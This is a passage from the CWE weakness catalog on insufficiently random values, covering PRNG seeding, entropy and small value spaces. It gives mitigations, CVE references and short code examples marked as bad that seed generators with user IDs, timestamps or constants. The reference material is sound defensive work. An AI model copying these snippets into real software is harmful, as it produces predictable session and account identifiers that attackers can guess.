Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look for library or system calls that access predictable information such as process IDs and system time.

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Man-in-the-middle attack tool

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds. In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

### Phase: Implementation

Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.

### Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

### Phase: Architecture and Design

#### Phase: Requirements

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

#### Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

## Demonstrative Examples

### Example 1:

This code generates a unique random identifier for a user's session.

*Example Language: PHP*

*(bad)*

```
function generateSessionID($userID){srand($userID);return rand();}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

### Example 2:

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

*Example Language: Java*

*(bad)*

```
String GenerateReceiptURL(String baseUrl) {Random ranGen = new Random();ranGen.setSeed((new Date()).getTime());return(baseUrl + ranGen.nextInt(400000000) + ".html");}
```

This code uses the `Random.nextInt()` function to generate "unique" identifiers for the receipt pages it generates. Because `Random.nextInt()` is a statistical PRNG, it is easy for an attacker to guess

the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

### Observed Examples

Reference	Description
<b>CVE-2009-3278</b>	Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3278">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3278</a>
<b>CVE-2009-3238</b>	Random number generator can repeatedly generate the same value. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3238">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3238</a>
<b>CVE-2009-2367</b>	Web application generates predictable session IDs, allowing session hijacking. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2367">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2367</a>
<b>CVE-2009-2158</b>	Password recovery utility generates a relatively small number of random passwords, simplifying brute force attacks. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2158">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2158</a>
<b>CVE-2009-0255</b>	Cryptographic key created with a seed based on the system time. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0255">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0255</a>
<b>CVE-2008-5162</b>	Kernel function does not have a good entropy source just after boot. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5162">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5162</a>
<b>CVE-2008-4905</b>	Blogging software uses a hard-coded salt when calculating a password hash. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4905">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4905</a>
<b>CVE-2008-4929</b>	Bulletin board application uses insufficiently random names for uploaded files, allowing other users to access private files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4929">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4929</a>
<b>CVE-2008-3612</b>	Handheld device uses predictable TCP sequence numbers, allowing spoofing or hijacking of TCP connections. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3612">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3612</a>
<b>CVE-2008-2433</b>	Web management console generates session IDs based on the login time, making it easier to conduct session hijacking. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2433">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2433</a>
<b>CVE-2008-0166</b>	SSL library uses a weak random number generator that only generates 65,536 unique keys. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0166">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0166</a>
<b>CVE-2008-2108</b>	Chain: insufficient precision causes extra zero bits to be assigned, reducing entropy for an API function that generates random numbers. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2108">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2108</a>
<b>CVE-2008-2020</b>	CAPTCHA implementation does not produce enough different images, allowing bypass using a database of all possible checksums. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2020">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2020</a>
<b>CVE-2008-0087</b>	DNS client uses predictable DNS transaction IDs, allowing DNS spoofing. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0087">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0087</a>
<b>CVE-2008-0141</b>	Application generates passwords that are based on the time of day. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0141">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0141</a>

### Functional Areas

- Cryptography
- Authentication
- Session Management

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1539

## CWE-331: Insufficient Entropy

<b>Weakness ID</b> : 331	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	➕	330	Use of Insufficiently Random Values	693
ParentOf	➖	332	Insufficient Entropy in PRNG	702
ParentOf	➖	333	Improper Handling of Insufficient Entropy in TRNG	703

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	➕	330	Use of Insufficiently Random Values	693
ParentOf	➖	332	Insufficient Entropy in PRNG	702

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	Ⓢ	1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	➕	330	Use of Insufficiently Random Values	693
ParentOf	➖	332	Insufficient Entropy in PRNG	702
ParentOf	➖	333	Improper Handling of Insufficient Entropy in TRNG	703

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	
<p><i>An attacker could guess the random numbers generated and could gain unauthorized access to a system if the random numbers are used for authentication and authorization.</i></p>		

### Potential Mitigations

## Phase: Implementation

Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.

## Demonstrative Examples

### Example 1:

This code generates a unique random identifier for a user's session.

Example Language: PHP

(bad)

```
function generateSessionID($userID){srand($userID);return rand();}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

### Example 2:

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

Example Language: Java

(bad)

```
String GenerateReceiptURL(String baseUrl) {Random ranGen = new Random();ranGen.setSeed((new Date()).getTime());return(baseUrl + ranGen.nextInt(400000000) + ".html");}
```

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

## Observed Examples

Reference	Description
<b>CVE-2001-0950</b>	Insufficiently random data used to generate session tokens using C rand(). Also, for certificate/key generation, uses a source that does not block when entropy is low. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0950">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0950</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-332: Insufficient Entropy in PRNG

<b>Weakness ID</b> : 332	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
	<i>If a pseudo-random number generator is using a limited entropy source which runs out (if the generator fails closed), the program may pause or crash.</i>	
Access Control	Bypass Protection Mechanism	
Other	Other	

Scope	Impact	Likelihood
	<i>If a PRNG is using a limited entropy source which runs out, and the generator fails open, the generator could produce predictable random numbers. Potentially a weak source of random numbers could weaken the encryption method used for authentication of users.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Requirements

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

#### Phase: Implementation

Consider a PRNG that re-seeds itself as needed from high-quality pseudo-random output, such as hardware devices.

#### Phase: Architecture and Design

When deciding which PRNG to use, look at its sources of entropy. Depending on what your security needs are, you may need to use a random number generator that always uses strong random data -- i.e., a random number generator that attempts to be strong but will fail in a weak way or will always provide some middle ground of protection through techniques like re-seeding. Generally, something that always provides a predictable amount of strength is preferable.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	844	1598
MemberOf	<b>C</b>	905	SFP Primary Cluster: Predictability	888	1615

### Taxonomy Mappings

CLASP			Insufficient entropy in PRNG
CERT Java Secure Coding	MSC02-J		Generate strong random numbers

### References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

## CWE-333: Improper Handling of Insufficient Entropy in TRNG

<b>Weakness ID</b> : 333	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.

## Extended Description

The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1271
ChildOf		331	Insufficient Entropy	700

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		331	Insufficient Entropy	700

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart <i>A program may crash or block if it runs out of random numbers.</i>	

## Potential Mitigations

### Phase: Implementation

Rather than failing on a lack of random numbers, it is often preferable to wait for more numbers to be created.

## Demonstrative Examples

### Example 1:

This code uses a TRNG to generate a unique session id for new connections to a server:

*Example Language: C*

*(bad)*

```
while (1){ if (haveNewConnection()){if (hwRandom()){int sessionID = hwRandom();createNewConnection(sessionID);} } }
```

This code does not attempt to limit the number of new connections or make sure the TRNG can successfully generate a new random number. An attacker may be able to create many new connections and exhaust the entropy of the TRNG. The TRNG may then block and cause the program to crash or hang.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	844	1598
MemberOf		905	SFP Primary Cluster: Predictability	888	1615

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure of TRNG
CERT Java Secure Coding	MSC02-J		Generate strong random numbers

## CWE-334: Small Space of Random Values

<b>Weakness ID</b> : 334	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	693
ParentOf		6	J2EE Misconfiguration: Insufficient Session-ID Length	2

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	693

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	
<p><i>An attacker could easily guess the values used. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.</i></p>		

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Requirements**

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Demonstrative Examples**

**Example 1:**

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

*Example Language: XML*

*(bad)*

```
<sun-web-app> ...<session-config> <session-properties><property name="idLengthBytes" value="8"><description>The number of bytes in this web module's session ID.</description></property></session-properties> </session-config>... </sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

**Observed Examples**

Reference	Description
<b>CVE-2002-0583</b>	Product uses 5 alphanumeric characters for filenames of expense claim reports, stored under web root. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0583">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0583</a>
<b>CVE-2002-0903</b>	Product uses small number of random numbers for a code to approve an action, and also uses predictable new user IDs, allowing attackers to hijack new accounts. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0903">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0903</a>
<b>CVE-2003-1230</b>	SYN cookies implementation only uses 32-bit keys, making it easier to brute force ISN. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1230">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1230</a>
<b>CVE-2004-0230</b>	Complex predictability / randomness (reduced space). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0230">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0230</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1615

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Small Space of Random Values

## CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)

<b>Weakness ID</b> : 335	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software uses a Pseudo-Random Number Generator (PRNG) that does not correctly manage seeds.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	693
ParentOf		336	Same Seed in Pseudo-Random Number Generator (PRNG)	708
ParentOf		337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	710
ParentOf		339	Small Seed Space in PRNG	713

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	693
ParentOf		336	Same Seed in Pseudo-Random Number Generator (PRNG)	708
ParentOf		337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	710
ParentOf		339	Small Seed Space in PRNG	713

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	
<i>if a PRNG is used incorrectly, such as using the same seed for each initialization or using a predictable seed,</i>		

Scope	Impact	Likelihood
	then an attacker may be able to easily guess the seed and thus the random numbers. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1615

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			PRNG Seed Error

## CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG)

Weakness ID : 336

Status: Draft

Structure : Simple

Abstraction : Base

### Description

A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.

### Extended Description

If an attacker can guess (or knows) the seed, then the attacker may be able to determine the random numbers that will be produced from the PRNG.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	707

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	707

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Other	
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.

#### Phase: Architecture and Design

#### Phase: Requirements

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

### Demonstrative Examples

#### Example 1:

The following code uses a statistical PRNG to generate account IDs.

*Example Language: Java*

*(bad)*

```
private static final long SEED = 1234567890;public int generateAccountID() {Random random = new Random(SEED);return random.nextInt();}
```

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	844	1598
MemberOf		905	SFP Primary Cluster: Predictability	888	1615

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Same Seed in PRNG
CERT Java Secure Coding	MSC02-J		Generate strong random numbers

### References

**CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)**

Weakness ID : 337

Status: Draft

Structure : Simple

Abstraction : Base

**Description**

A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.

**Extended Description**

The use of predictable seeds significantly reduces the number of possible seeds that an attacker would need to test in order to predict which random numbers will be generated by the PRNG.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*
